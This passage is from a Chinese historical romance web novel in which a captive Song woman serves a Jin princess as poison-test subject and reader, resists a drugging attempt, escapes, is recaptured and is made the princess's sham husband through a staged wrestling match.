靖康之耻将皇室和国家的尊严、命运打碎了,我要和瑚儿相聚,我要南归找到她,我得让自己活下去!完颜晴现下不会杀我,我可以在这里养好身体,能赚些钱最好,让她对我放松警惕,然后伺机而动,这样或许可以支撑我回去找瑚儿! “呵呵!你能干什么?”完颜晴笑了,向我走过来,“手无缚鸡之力,长得……勉强算颇有几分姿色!我身边不缺你这样的人啊!” “我的身体确实特殊!”我此刻气势不能输,得让她觉得我的独特,我把我吃过九转殊途的遭遇,添油加醋的夸大了,“你没想过,为什么只有我挺下来?” “其实,我不用服那些特殊的毒和药,也许就可以达到你想要的目的!”我见她眼神略有变化,继续说着“你可以找个汉人大夫来给我诊脉!” 她们似乎都懂点医术,不过应该还达不到中原名医的水平,安神医说过我的身体比较特殊,对于一些比较奇怪的毒和病,我的血可以缓解。不管是不是真的能解毒,至少不用再被灌毒药和补药了,万一哪次不走运,再给我毒死了,我就再也见不到瑚儿了! “你跟我来!”完颜晴听了我的话,转身让我跟上她。我们穿过小门来到后院,我回想这个宅院的结构是我住在中院,有厨房、杂物间和休息室,应该还有前庭,那后院有什么? 很快她推开一扇门,带我走了进去,这个房间有我住的地方四五倍大,里面放了好多的中原事物和书籍,比如角落放着古琴和药材柜,书籍以医书、史书、兵书为主,除了印制书还有一些竹简,她还真是个汉文化迷呢! 我看着她在翻医书,嘴里嘀咕着什么。 “你自学的医术吗?”我不禁问,想着在西夏时她好像并不知道医理。 “是啊,学医的都自恃了不起的很!”她一面翻页一面感慨“我可受不了这气”。回想起她和芊寻那些互相不对付的经历,难道从那以后她不甘示弱的自学医术了? “救死扶伤也确实挺了不起的!”我想起芊寻,不禁叹服。转念又想到,不知道她怎么样了,我和瑚儿的孩子真的谦月转世归来吗?她们有一天会不会重逢,再续前缘呢? “大多数时候都玄之又玄的故作神秘吧!”她换了一本书继续查着。 “你学的水平……行吗?”我不禁有点担忧,九转殊途一般书里可找不到,她到底在找什么,想确定什么? “没问题!这里的典籍我都通读过了,”她没有看我,继续说着。 “通读?”她不是不怎么识汉字吗?又抱怨没人陪她说汉话,她能看懂这么多?“这个字怎么念?”我随手翻找了一篇脉学书,挑了个比较多笔画的字,指着问她。 “这?”她略微迟疑,随后无奈的叹了口气,“我虽会说汉话,可没什么机缘识汉字,所以有些书看着不够理解!行了吧!” 那你让我试个头的毒啊!我压抑着怒火,想起她刚刚嘀咕的话,便试着问,“你身边也有懂医术的朋友吧!他是不是也印证过我的话!” “是又如何呢?”她合上书反问我,“我只相信自己学明白的事!” 这傲气的样子总算有点眼熟了! “你可以念给我听,教我些汉字!”她想了想说。 “我哪有这功夫?”我转头拿起一本《战国策》翻看起来。 “给钱!”她轻快的说。 “试药也停了吧!”我趁机说着。 “今天或许可免!等我和朋友确认下你的情况后再做决定!”她走了过来,“今天读这本,十两!” “成交!”我接过她递过来的书,“在这里念吗?” 她带着我去到了她的房间,陈设是混合风,有火炕,床边还有一张贵妃椅,上面垫着兽皮,旁边放着火炭盆。墙上挂着弓箭和画着红梅白雪的画。 乌里见我跟着进了完颜晴的房间,不禁要发作,被完颜晴制止,她说了几句,可能是让她今天不用给我送药了吧!乌里走出去时还瞪了我一眼! “开始吧!”完颜晴躺在贵妃椅上,盖上了一个小毯子,然后闭上眼睛让我念。 我在屋内茶桌旁的椅子上坐下来,翻开书开始念,“初,郑武公娶于申,曰武姜,生庄公及共叔段。庄公寐生,惊武姜,故名曰寐生,遂恶之。爱共叔段,欲立之。亟请于武公,公弗……” 念完了一大段,我感觉嗓子有点干,就放下书,从桌子上取过水壶和杯子倒了一杯,一饮而尽。 “你对自己倒是挺好!”完颜晴突然说,我看她张开眼瞧着我,“给我也倒一杯吧!” 我又拿过一个杯子倒满水,端给完颜晴,说着“人应该对自己好点!” “是不是你们说的,人不为己天诛地灭?”完颜晴喝着水问道。 “肯定不是啊!感觉出发点和手段都不一样!”我否定了她的理解,打算继续履行义务,早点赚到酬劳,“算了,我接着读吧!” “你先等一下,把书给我看一眼!”完颜晴将水杯递给我,又接过书看起来,仿佛把我读的内容再看一遍,她有过目成诵的本事,听一遍看一遍应该能认不少字。 “平安,这个字什么意思?”她突然问道,唤我过去。 “寐(wu四声),寐生就是一种婴儿脚先出生的难产,这段历史故事是这样的……”我是学过古汉语的,所以翻译还是有点底子,古代书就是没什么标点,我一面慢慢读一面讲着。 “多行不义,必自毙!?”完颜晴重复着这句,以及我的解释。转头看向我。 “我没点你啊!”我被她突然的凝视弄得紧张了起来,她不会恼羞成怒再给我灌药吧? 完颜晴却轻轻笑了,“受教了!” “那继续?”我舒了口气问道,打算翻页继续念。 “休息会吧!”完颜晴站起来伸了个懒腰,“你读东西语调平平温温,让人容易犯困!” “不过讲起故事倒是挺有意思!”完颜晴又倒了点水喝下,说道。“这些道理也确实是我想学的,要不就这么一边读一边解说吧!” 我低头看了眼书,这么半天才读完了十几页,这么弄进度太慢了! 见我没有说话,完颜晴转身打开墙边的柜子,从里面取出了一个盒子,又在盒子里取出一块银子,而后走过来,用拇指和食指捏着在我面前展示着,“定金!以后讲一本书二十两!”说完将银子轻轻放在我手里,我掂量着大概有四五两。 “对了,夫子……贵姓啊?”她问道,在夫子两字时上扬又停顿了下,多少带点调侃意味。 既然都是重新相识,不如假到底吧!反正没准过几天我就能溜了。刚刚看了左传里的人物,我便回答道“免贵,我姓苑,苑平安!” “满是祈祷的名字呢!”她轻轻感慨。 是啊!真希望瑚儿能平平安安,我们早日相见。 敲门声响起,完颜晴让她们进来,白衣侍女引进来一位意气风发的男子,约莫二十岁出头,面容算英俊,微微有点胡须,看起来虽然是标准的女真族男子一样剃了发,但是带着薄绒帽子,不影响颜值。他和完颜晴说着话,声音温和清晰,举手投足之间竟有点儒生气质。 “这是古里哈梵,汉名是古里泰,是我们这大祭司家族的”完颜晴用汉语为我们互相介绍,“她是苑平安,是我的药人!也是我的汉话夫子!” “哦,有礼了!”他用略带生硬的口音说着汉话,“我也略通医术,我给你看看吧!”医术还是巫术啊? 他伸手向我的脸,我自然后撤,他轻轻说请相信我。 “不然可能还得吃药呢!”完颜晴在旁边笑着吓我。我只好深吸一口气,让古里泰查看。他扒开了我的下眼皮,又看了看舌苔,然后才为我切脉。这一套下来,门派还真是有点杂。 随后他和完颜晴说着话,完颜晴点点头。又唤乌里进来,乌里听完掉头快步离开。 “澈穆格,我也可以多陪你说汉话的!对了,这是我最近收到的小玩意,”古里泰从怀里取出一个巴掌大的机关小木马,递给完颜晴,“你可以送给古沃贺!”她试着扭动机关弦放在桌上,小马居然会自己动起来,也算新奇。 “哇~有趣,谢谢了!”完颜晴点点头,公式化的对他道谢。 乌里突然端着药碗进来,啊?不是说不用喝药了吗?看我脸色大变,完颜晴笑着说,“这是解毒的!你昏迷时我们给你试了一些毒药和补药!现在先试着把毒都解了吧!” “一些?……是多少种?”我盯着药问道。 “大概十……四五种吧!”她笑的尴尬中透出一丝无邪,“反正也能解!你也喝了那么多,也不差这几碗了吧!” 禽兽!一群魔鬼! ┴┴︵╰(‵□′)╯︵┴┴ “要不补偿你点钱,一碗一两咋么样!”完颜晴看我有些动容,笑的更开心了,“趁热喝吧!不然乌里要帮你了!” 哎,希望早日解毒,我屏住呼吸喝起来。 “乖啊~”完颜晴像称赞孩子似的。 我放下碗接过她递过的水和手帕,用水漱漱口咽下,又擦了擦嘴。看完颜晴笑的那个得意,真是来气,难道我就这么被她拿捏了! 不过看着她的同时,我才发现古里泰一直看着她,眼神那么温柔…… 难道,完颜晴身上的痕迹是和他……他是她的情郎吗? 80、何必在意 “天色也不早了,留下用饭吗?”完颜晴礼貌的问着古里泰,但是还真是不算热情。古里泰识趣的婉拒了,然后借故离开。好相敬如宾的感觉,就是有点距离感。 “你要不来桌上一起?”完颜晴邀请我,同时给我介绍了她的两位贴身侍女,一直霸道虐我的乌里,另一位喜欢穿白衣的是百林。 “我坐这挺好的,还能看看云!”我自然坐到小板凳上,一面吃一面看着天空。云似乎从南边飘来看我…… “我告诉她们以后对你更客气点!”完颜晴说着“待会给你换件衣服吧!” “多谢了!”我刚好也吃差不多了,道谢后就回房间休息了。 接下来的日子里,我每天依然服药,但是感觉状态越来越好了,我的居住和生活条件有所改善。向她们要来剪刀和镜子,我将乱糟糟长长的头发自己修剪了下,剪回散下来齐胸的长度,希望能养好一点。 第一本书渐渐读完也翻译完了,她还真给了我二十两,算上这几日服药的奖金,好爽快的东家! 她除了每隔两三天就出去一趟,大概小半天,其余时间大多在家,看书、听书,或者摆弄那些中原器物。当时我觉得自己可能和那些她喜欢收集的中原事物一样,是个汉语翻译机而已。 又到了取血的日子,我握紧拳头等着这一刀,还是挺疼的!解了几种毒之后,我的血对那小黑蛇的伤害更大了,它晕了好一阵,完颜晴神情舒缓不少。看来她是希望研制出能干掉这条黑蛇的东西,不知道有什么用! 这阵子她的两位侍女对我也友好很多,主要也是有所求,有天她们将我堵在墙角说“学……公主……喜欢……我们”比比划划的意思大概是也想学汉话,让公主更喜欢她们。我答应了,但是也让她们教我女真话,我会模仿她们编发,还有服饰打扮习惯,为逃跑做准备。 “夫乐以安德……所谓乐也。《书》曰:‘居安思……”这日我正在读书给完颜晴听,百林敲门进入,禀报了几句,完颜晴没有睁开眼睛,而是说了一句,挥挥手,让百林退下去了。 “你先回去吧!我一会有事要办!”她对我说着,坐起身来。然后不管我径自打开衣柜开始准备,这几天我趁着她闭眼听书时,曾好好观察过这个房间,这个衣柜还真是挺大的,装了不少东西,当然还有钱财。现下,我不能一直留在屋里,只好放下书离开,出门前扫到,她取出一个瓷瓶倒出东西来吃。 回到房间,我竖起耳朵留意着外面的动静,不一会她的脚步声响起又走远。我轻轻溜进她的房间,翻找起来。衣柜里除了衣物还有不少盒子,有的装了钱财首饰,因为也不知道能不能跑出她的宅院,我没有打算动这些。继续查看,有的盒子里有些瓶瓶罐罐,里面装着药丸或者药水。旁边还有个小酒壶,上面画着太白捞月,里面装满了酒,看印记,旁边应该还有个壶被她带走了。 我将柜子里的摆放恢复原位,继续在屋里查看,我试着敲了敲墙壁,实心的,又不死心的想翻看那幅画,后面墙上果然有个挡板,正要掀起来,就听见门外有人声,我忙钻到贵妃椅底下,看到几个人的脚横七竖八的走进来,好像抬着什么,是浴盆,估计待会完颜晴回来要沐浴。躲了一会,她们都出去了,我才悄咪咪的跑回房间,有惊无险的行动。 我坐下来想着完颜晴会有怎样的秘密呢?从这段时间来看,还看不太出来什么周期性规律。以前在西夏那段时间,有些金国王爷武将就挺听她的话,现在接触起来,感觉她的见识和野心更加不简单了,还有爱慕她却克制的古里泰…… 最近偶尔话里话外,也能打听点大宋的消息,说什么和谈不过是拖延什么的。如果真的能和平度过就好了!这么想着,我感觉又没有什么头绪了,干脆躺在床上发呆。下午饭也不太想吃。 迷迷糊糊的感觉天色已晚,外面突然传来了,喧闹的声音,我推开一点点窗缝往外看,看到两个衣着更华丽的侍女搀扶着完颜晴,送她回来,后面还有几名侍卫。看她脚步凌乱,似是喝多了,百林和乌里连忙搀扶过完颜晴,对来人点头行礼,那群人好像完成了任务,转身便离开了。 她们将完颜晴送回屋内,想着她们早已经备好了热水,应该要为完颜晴沐浴的,可是进屋没多久就听到完颜晴将她们赶了出来。我听到声音便出来看,见百林端着一个案子上面放了瓶瓶罐罐和手巾,在和乌里争吵,见我来了,便尽量用汉语和我说,“袁夫之……公主伤……药不上……” 她受伤了?不肯上药? 我敲了敲门,里面传来完颜晴用女真语说的话,听起来有点不耐烦和醉态。 如果她不需要应该就没什么大事吧!我转身想劝她们放弃,免得惹她不高兴又要挨打。其实平时感觉完颜晴对她们也算挺好的,就是上次醉酒那晚,也就是我醒来后第一次取血那次,她也是敏感的不让她们触碰。 我转过身,还没等开口,却被她们挡住去路,比划着拜托我去看看她们家公主。一时也摆脱不了,只好硬着头皮答应。 “澈穆格公主!你还好吗?我们可以进来吗?”我敲敲门,里面轻轻传来水声,“你自己进来吧!” 啊,这?乌里依然展开双臂,做阻拦状,百林则是满眼祈求。 我叹口气接过她手里的药案,她们忙推开门,请我进去,我一踏入房间她们就把门关上了。 屋内的浴盆里,完颜晴背对着我,她的肤色很白,背上却有几块淤青的痕迹,好像是撞击导致的,走近看来她的颈上又有那种痕迹。怎么这么粗暴,这是谁的嗜好? “我受她们所托,给你上药!”我说着,等待她可能的拒绝。但是她没有,她背对着我说,“好啊~你可得怜香惜玉一点!” 我心里嘀咕,你怎么不好好劝劝你的那位!算了,快点完成吧!我将椅子搬过来放药案,在里面找到活血化瘀的药倒出来,擦在她背上,感觉到她轻轻躲避,我叹了口气,尽量再轻一点。 不想太多的看她的身体,我将目光上移,却看到她的手腕处也是红红肿肿的,似乎是被人狠狠控制过。情爱真的该是这样吗?我和瑚儿之间从来不会如此,难道不同性别真的不同。这样真的能快乐? “你为什么不让她们给你上药?”我不禁问道。她轻轻的回答说,“不想那两个丫头瞎想,我挺快活的!” “快活?”我轻轻嘀咕,“那手腕也擦点药吧!”我本来想说,快活你躲什么?既然怕她们担心,就不用考虑我这个异族人了是吧!哪天不会打算杀我灭口吧?可终究没敢细问,只问上药的事了。 “我自己来吧!”她转过来接过粘有药的布,轻轻沾着手腕,“你帮我在柜子里拿点东西吧!” 整好可以借这个机会动柜子,掩盖下午翻找的痕迹,太好了! 我点头走向柜子,按照她的指引取出一个小盒子,在里面找到一个瓷瓶,蓝色盖子,她接过打开倒出一颗药吞下去,然后她伸手够搭在旁边的衣服,因为怕她站起来曝光,也或者我举手之劳的条件反射,我快步走过去,将衣服取过来递给她,她在衣服里摸出一个酒壶,打开喝着。 “你就别再喝了吧!”我随口劝说着,这个酒壶和那个画着太白捞月的酒壶看起来挺像的。“这样药效能好吗?” “习惯了!不碍事,再说这里也不是酒,不信你闻闻”说着她将那个酒壶递到我鼻子前,还真的没有酒味。那是什么? “只是水!”她说着又喝了一口,才盖好盖子,将酒壶和衣服又塞给我。 “你在吃什么药?”我不禁好奇的问,回到柜子前按照的指示找睡衣。 “凉药啊!”她轻轻挑起水清洗自己的身体,“我也不想要小孩!”凉药不就是避子药嘛!结合她身上的伤,回想起她说过,自己的脸是要保护亲人的,难道是被强迫的?可她是金国公主,谁能强迫的了呢!? “你被要挟了吗?”我将寝衣递给她,她起身就要穿衣服,我忙转过脸去看旁边。 “怎么说?”她站起身,轻轻笑着问道,同时伸出手搭在我肩上,慢慢的跨出来。 “我以为你不情愿!”我轻轻叹了口气,没有动,她出了浴盆就缓缓走回床上坐下了,脸色还是有点红晕。 “不情愿……早晚也得情愿!何必为难自己!”她也叹了口气,“平安啊,你应该庆幸你被我捡回来了,如果还在宋境,恐怕比这情况要悲惨百倍千倍!” “你不是说在和谈吗?”我如梦方醒的惊恐起来,对啊,靖康之耻已经在进行中了,国都被异族攻破,那城里的百姓……烧杀掳掠的场面让人不寒而栗。 “只是在清算而已,很快……很快”她笑了,笑的无奈而悲伤,“男人就想着这些……” “你想见的人只怕也是如此吧!”她突然感慨的问起我,因为我是女子,她以为我心心念念要回去见的人是男子呢!“平安,陪我喝一杯吧!再聊聊天,说说你的那个他,说说大宋,我可以给你钱!或者等试药成功了,我一高兴可以派人送你回去团聚!” 往常她说的这些或许有点吸引力,不过想起那些残忍的画面,我的亲人、我的瑚儿可能遭遇的,我已经方寸大乱,将酒壶递给她,我跌坐在贵妃椅上,“不知道她们怎么样了?”我喃喃道,“胡马窥江去后,废池乔木……”我不禁想起了扬州慢,国破家亡的惨状没有人能忍住悲叹。 “别愁了,喝一点吧!”她将酒壶递给我,我一仰头喝了一大口。 “为什么一定要打仗?”我无奈的自言自语,问着没有意义的问题,说是为了生存,不还是没有能力治理,只好把矛盾外溢。可是被欺负又能怪谁呢!宋明明经济很发达了,却国力、军事实力不强,一群人还斗来斗去,总是以为和谈赔款能求安,结果呢? “谁也不怪谁!只是我们太弱了,早点强大起来就好了!”我又喝了一口,然后感慨道。 “你能有此见识也算不俗了!”不知不觉完颜晴已经来到我跟前,轻轻接过我手里的酒壶,我居然晕乎乎的没有迟疑由着她,身体感觉越来越热,像是烧了起来,我好想瑚儿…… “你!”我意识到不对劲,“酒里有什么?”我推开她质问道。 “女眉药~我想看看你能不能得到快乐!”她一把推到我,骑坐在我身上,双手按住我的肩,寝衣松松的,右侧已经从肩上滑落。我竟然没什么力气,身体里的火烧得更旺了…… “不必在意,一会就好了,舒坦一会也是好的!”她伸手撩起散着的头发,笑着,仿佛在报复我刚刚对她的怜悯…… 混账!我怎么可以屈服,我尽力挣扎,眼前人的样子居然和瑚儿重合了,她说她想念我!瑚儿,我好想你!我一定要回到你身边,和你团聚…… 她的手游走在我身上,逐渐向下移去。这……女魔头,怎么可以这样……我怎么可以对不起瑚儿……但是我身体已经无力反抗了…… 81、逃跑的代价 “别把这些想的那么重要~”完颜晴依然在蛊惑着我,我没有力抵抗了,但是不想对不起瑚儿…… 我用最后的力气咬破了腮帮,疼痛的感觉让我清醒了一点。 我想起完颜晴的衣服刚刚被我丢在贵妃椅上,在我脚边,她们喜欢随身带着匕首,我或许可以自救! 我假装顺从着她,发出难耐却享受的声音,眯着的眼里,她露出一副早就知道如此、尽在掌握的得意,好像在说不过如此嘛! “这种事情快乐最重要!”我呢喃着说,突然用力坐起来,将她推到在贵妃椅上,我扑到她衣服旁,摸到刚刚留意到的匕首,一把拔出来,挡在我们之间,气喘吁吁的说,“但我不喜欢!请澈穆格公主不要胡闹!”从她的动作来说,她根本不喜欢女人,只是在戏谑报复!“不要为难彼此!” “要杀了我吗?”她好像并不害怕,“还是为了所谓的贞洁,你要自尽呢?”她慢慢向我靠近,咄咄逼人的问着。 杀仁、自尽,我都不想,我只想回家。但是目前还不行,至少现在就算挟持她也走不出上京城!事已至此,我折中吧! 我咬咬牙在左臂上的老伤口上刮了一刀,燥热被刺痛代替,终于恢复了对自己身体的控制,“日子也差不多了,要不今天把血取了吧!”我有些踉跄的走到那个药案边,将一个药瓶清空,接了血盖好,又找到金创药自己敷上,转身将装血的瓶子递到完颜晴面前。 “哎~宁死不屈呗!”她接过药瓶,摇摇头说着“算了!” 我逃也似的打开门往外跑,撞上了百林和乌里。额!顾不得丢不丢人了,我一溜烟跑回房间,将门栓插上。躺回到床上时,我还紧张的有些发抖。 完颜晴果然是疯了,就算自己潇洒风流不拘小节,也不用这么惩罚我吧!亏我还有那么一刻担心她是不是被勉强了!真是农夫和蛇!越想越气!我起来整理自己的酬劳,算起来也有三十两了,虽然是兵荒马乱的环境,但是回到宋境应该也差不多。 我屋内没有纸笔,只好扣了一块炕砖下来,在不显眼的地方,回忆一下地理位置,画着路线和计划……不知不觉,窗外已经透亮了,我用脚蹭掉地面上的痕迹。脑子里都是这些想法,根本不困。 不过,当乌里敲门叫我吃饭时,我走出房门,才觉得有点眩晕。走进厅内,完颜晴面色如常,百林将饭菜递给我,我默默坐回我的小板凳上,叹了口气,开始吃起来。昨晚我就没有吃,但是现在也没有什么胃口!扒拉了两口我就放下碗筷回屋补觉去了。 很快就迷糊着了。 梦里我回到了汴京,看到了心园的街巷……我推开院门,却见到断壁残垣,地上插着胡人的弯刀,上面正在滴血…… 不!我惊醒过来,幸好是梦,但是衣服已经被汗水打湿。这些异族,终究野蛮残忍,哪怕是相处过得完颜晴也有无法了解的一面。 我打开门,发现日头已经过了中午,她没有让我继续去读书,估计也是觉得昨天太荒唐了吧! 刚好百林走过来,我连比划带女真语加汉语混合,问起她家公主呢!得知好像被什么昃勃极烈请去了,在她们这里好像是议政王那种大人物,而且居然是昨天她去见的人! 等等!?那不该是她亲戚吗?怎么会有那种情况!!! 刚好有人马陆陆续续往院子里搬东西,我来不及多想就回到屋里收拾,不管了,干脆借着这个机会跑吧!我将银两收好,套上她们的外衣,快速的编好辫子。然后出门假装搬东西,居然真的和进出院子的人一道混了出来。 第一次走在上京城的街上,看着那些女真人,男子发型真是好辨认,女子大多和我一样编发。街上很多人骑马,我顺着人流走着,到了城门发现有关卡审核进出城的人,我这无凭无证的出不去。 折返回来,在街上瞎走,终于看到一家写着汉语和金文两种字的牌匾-陆记杂货。难得!我走进去,发现里面摆着不少中原器物,掌柜的是一个穿着金服饰,却没有剃头的汉人。 我问起他和宋有贸易往来吗?他说得四个月一次,最近得一次也得半个月以后。 “我能不能在你这里住一阵子?”我尝试着问,得到了不敢不敢的回答。 “我们也得看金大爷的脸色,说句不好听的,也不知道你是不是谁家的奴隶!”他面露难色的说,“再说宋境现在也不太平,据说过阵子官家都会北上求降!咱小老百姓,回去也白搭啊!” 我也不能为难他,只好要来纸笔,给瑚儿写一封简短的信,告诉她我还活着,在上京很快会回去了的,落款画好飞鸟。 烽火岁月,一封信居然就五两银子!我想着半个月后再来碰碰运气吧! 说好了地址,我便留下了钱,再一次走在“异国他乡”的大街上,我的混过半个月左右才有可能和商队一起出城。 我继续溜达,发现其实金都城文化挺混杂的,比如一条街上可以有道观,也有佛寺,还有他们本地的萨满教神坛。 住店需要身份证明,那我觉得我可以装乞丐在寺庙附近盘踞嘛! 但是女乞丐有点危险啊!再扮男子?宋人男子太容易被盘查了!干脆咬咬牙,在摊子上买了把小刀,摸着把前面的头发割断、刮干净,后面头大编成辫子,扮成胡人男子。 好在这里有契丹人、蒙古人、突厥人、党项人,大多这类的发型,所以店家也习惯了听不懂的话,我依旧靠比划和简单的女真话,买了点吃的还有男子衣服,我把旧衣服包好,又用米饭嚼成浆糊将碎头发粘成假胡子,我对着水井照了半天,感觉完美,接着我在地下打了几个滚儿,将衣服弄得埋埋汰汰。 起身打算向寺庙后巷走去,却发现了一个七八岁的女真小男孩看着我发呆,他什么时候在附近的?看到我变装了吗?我看他穿的也很破烂,难道也是乞丐?我从包裹里取出一块烀饼向他递过去,起初他有点不敢动,但是我轻轻的走过去,他才接过,我顺势对他做了一个嘘的动作,他点点头然后跑开了。 接下来如我所愿,寺庙后门巷子里有一些流浪汉盘踞,很少有人愿意往这边来,寺庙每日还会施舍些斋饭。 平稳过了七八天,小男孩跑来找我,嘴里喊着“额吉”,他的母亲?我跟着他来到一间破旧,但是幸好不算偏僻的的小屋,屋里床上有个面容枯槁的中年女人,看来是病了很久了。我觉得和他们也算有缘,而且最近也不需要花钱,就给了他二两银子去请大夫。 回到后巷继续苟着……没想到距离商队出发的日子不到两天,我居然开始头晕起来,忍不住的咳,还会吐血,难道我那些余毒未清,我强撑着想去找大夫,却发现街上已经张贴的悬赏告示,画像不就是我吗?虽然是女装版的!但是每家药房医馆都有金兵把守,完了!完颜晴算到了我可能会毒发,所以早就做好了准备,等着我自投罗网。 我扶着墙回到巷子里,无力的倒在墙边,初夏的阳光居然如此刺眼,让人眩晕……该死!还有一天就可以归宋了……也许她说的没错,我出不了这上京城了! 呼吸开始变得困难起来,甜腥的味道充盈在口腔和鼻息之间…… 瑚儿,如果我真的不在人间了!也希望再看你一眼啊! 血呛得我吸不进气,我本能的侧过身躺着,等待魂魄离开身体,飞回心园…… 眼前的光亮终于不在刺眼,有人轻轻的晃动着我,逆光实在看不出是谁,我终于没有力气了,陷入了黑暗之中…… 昏迷中,感觉到有人捏着我的嘴灌药,如此熟悉,我知道自己估计得救了,或者说是被抓回去了。 又睡了好久吧!我觉得有点力气了,伸手摸着自己的头,不那么疼了。 “醒了?”完颜晴的声音传来,“你这样还挺别致!” 我没有理会她,继续揉着头。 “是个小孩子把你卖了!”她若无其事的说着,仿佛本就该如此“换了十两银子的悬赏。” “哦~反正我也快死了,当时还想把银子送他来着!”我闭着眼说,反正也跑不了了,等着我的是什么?加速解毒放血? “是啊!你身上的钱可比十两多!”她笑了“人啊,真是贪心不足蛇吞象,到头来像傻子一样!” “有机会见一见他再下结论吧!”我觉得无所谓了,每个人都可以有私心吧!而且他也可能有别的初衷。我问着完颜晴“悬赏告示上是不是写着要活口?” “嗯!我还得用你做解药呢!好不容易进展到现在,岂能轻易放过!”完颜晴回答着。 “也许他也想救我吧!”我想着,当时我命悬一线,他问了金兵说要找活口,那必然是不想我死,这不是他唯一能救我的办法嘛!我向完颜晴说着自己的想法,其实就是觉得她那副看透人性本恶的样子让人不爽,反正我最惨也就是继续当小白鼠,破罐子破摔吧!教育教育她! “你还真是天真!算了!”她微微叹了口气,摇头又笑了,“我已经想好了怎么惩罚你!” “加药吗?”我不禁问着,“来吧!”我一副慷慨就义的语气。 “想得美,我要把你的钱都没收!”她轻轻的说着,得意起来。“不过你可以重新挣!” 果然是杀人诛心!算了,重头再攒吧!这次跑出去至少还寄了一封信,也算有一丝希望! “还有,我要你赢得比武招亲,然后……”她继续淡定却不容反抗的命令着,“娶我!” 她还真是每日一疯…… 82、驸马2.0 她这疯病没治一下吗?我不可置信的看着她,“大姐,我也是女的!” “本来没往这方面想,谁让你剃了头呢!”她不理会我的质问,径直走过来摸了摸我的半拉光头“我原还想找个合适的人,没想到你就被送回来了!” “我不干!”我把头蒙在被子里,躲开的她的手,说出一个事实“我已经成过亲了”。无论是形式上的还是真实的,我早就已经有了家庭。 “又不是真的娶我!”她的声音隔着被子闷闷的传来。“成亲之后给你二百两!” “我手无缚鸡之力,又不会说女真话!上擂台也赢不了,找死吗?钱有命重要吗?”我激动的坐起来,摆事实讲道理,希望唤回她的理智。 “哈哈哈……怕死就对了!”她开心的笑起来,叫了乌里进来,端着药。 完颜晴继续说着她的计划“你身上还有三种毒未清,上擂台前我会帮你解好,而且我既然说了就有让你赢的把握!” “你做我的驸马,我给你钱,等到时机成熟,我助你和家人团聚……如何?”她坐在床边接过乌里送的药,递给我。 “你为什么要假成亲?”我没有接药,而是问出了这个疑问,毕竟她是有情人的吧! “你为什么不惜剃头也要扮男子?”她没有回答而是问着我。 “为了自保!”我看着她回答道。 “一样啊!”她将药放在我手里,轻轻叹了口气,站起来走到窗边打开窗,午后的暖阳照射进来,已经是靖康二年的夏天了! “你可以让古里泰娶你!”我继续问着,他的眼神可骗不了人。 “他……不合适!”她背对着我摇摇头,“会很麻烦!” 看起来她只是需要一段可以控制的婚姻,我想着无意间握住手里的药碗,还是温热的。 “你放心,我虽然看厌了那些臭男人,但是也还没到喜欢女子的程度”她转过身笑着说,“我不会再吓你、逗你了!而且我们公平交易,我定会信守诺言!” 如果她真的可以信守诺言,或许也是个南归的好进展。 我端起碗喝了药,算是答应了。 养了两天身体之后,这日一大早,完颜晴就带着乌里和百林带着一大箱子东西冲进我的屋子里。 “本来你头发可以装做花剌子模人,现在这样倒是可以装鞑靼人”百林为我修整头发、编好辫子又扎好,乌里则递给我一双内有乾坤的靴子,穿起来起码能高十厘米。 “里面的皮子也垫上,这样看着很魁梧嘛!”完颜晴继续说着,“我给你做的身份叫朝鲁,你听不懂女真话也可以!” 不一会胡子也粘好了,脸和脖子又被抹黑了不少,拿来镜子一看,果然是糙汉一枚! “明日你去攻擂就可以了!”完颜晴看着镜中的我,满意的点点头。“我自有安排!” 北方这几个民族比武喜欢用摔跤的方式。我来到擂台下,看着台上的人在角力。 突然有人拍了我一下,我回头一看正是古里泰。 他把我拉到一旁没什么人的地方,小声说着“待会我会上去清理那些人,然后你再上来!” “你既然打算去,为什不凭本事娶她?”我听了他的话,也凑过去轻轻的问,如果完颜晴需要,他一定会配合她的!就像现在这样! “她不是我能拥有的!”他远远的望着擂台旁遮阳棚里坐着的完颜晴,感叹着。 “还真是不少挑战者呢!”我看他伤感,不禁转换了话题,不过看挂着的挑战名单,这几天已经有近百人踊跃参加了! “当然,澈穆格可是女真第一美女啊!只是”他由衷的赞美,却有无奈的说“昃勃极烈不会轻易放过她!这些挑战者里也有不少他安排的人!” “昃勃极烈,议政王吗?他不是完颜晴的叔叔吗?”我再一次想起这个事情来。这占有欲,难道是畸形的关系!! “澈穆格的身世有些特殊!”他欲言又止,“先让她如愿,日后我再告诉你吧!我先上去了!”说完,他向擂台走去,台上一个大力士已经接连击败数人,正振臂大吼挑衅台下的人。 只见古里泰一跃上台,台下好多妇人、少女都激动不已,看来他是很多人的白马王子啊!他身法灵魂,几经辗转腾挪就借着巧劲将那个大块头推下台去。而后,又接连战胜几个勇士…… 眼见日头偏西,已有一会没有人再敢上台,台上的古里泰轻轻擦擦汗,向遮阳棚里的人说着话,与完颜晴坐在一起的中年妇人面色有点难看,正要唤人过去。却见古里泰也向台下喊话,眼睛却看向我,轻轻点点头,示意我该你了! 我看向完颜晴,她也看着我这边。我压低嗓音用力大喝一声,在众人注视下,缓缓的走到擂台上。 学着摔跤的动作,上去拉扯古里泰的衣服,意外的顺利,他反抓着我的上臂,作势要将我抡起,却表现得很吃力,我忙配合着他作出扎马步的动作,让人觉得我底盘稳健让他无可奈何! 几个配合下来,居然也有人在喝彩。突然古里泰挥拳打在我的喉咙上,好在不痛,随后又抓起我的右臂扭在背后,这下倒是有点疼了。 我赶忙用左手手肘击打他的腹部,他配合的后退松开了我的手臂,我扭动手臂恢复缓解,袖子上居然有血,我再活动右手臂好像没有受伤,是他刚刚抹上去的吗? 看着对面古里泰不知道什么时候拿了匕首,上面沾着血。台下有人开始起哄,看来他是违规了。我回头看了眼遮阳棚那边,中年贵妇示意主持人上前收走了匕首,并举起我的手臂宣布起来。 我这就赢了吗!?只见古里泰拂袖而去,中年贵妇开心的看着完颜晴,说了些什么。完颜晴起身向她鞠躬行礼,似乎是在道谢。而后向我走来,将一个蓝色荷包递给我。 然后居然就举行她们的婚礼仪式了,我被换了一身干净的外衣,被乌里带着走流程。据说有人在旷野外点起了篝火,人们围着篝火跳舞喝酒吃烤肉,很热闹。 不过我则被带回了完颜晴府里,有人递给我一把弩,上面有三支箭。百林凑到我跟前用汉语说,“公主说尽量射在门框上就好”这是他们的习俗。 幸好我在台上“弄伤了”手臂,不用拉弓,只好用弩,只是完颜晴也不敢保证我瞄准能力怎么样,才设计了手臂受伤的环节。 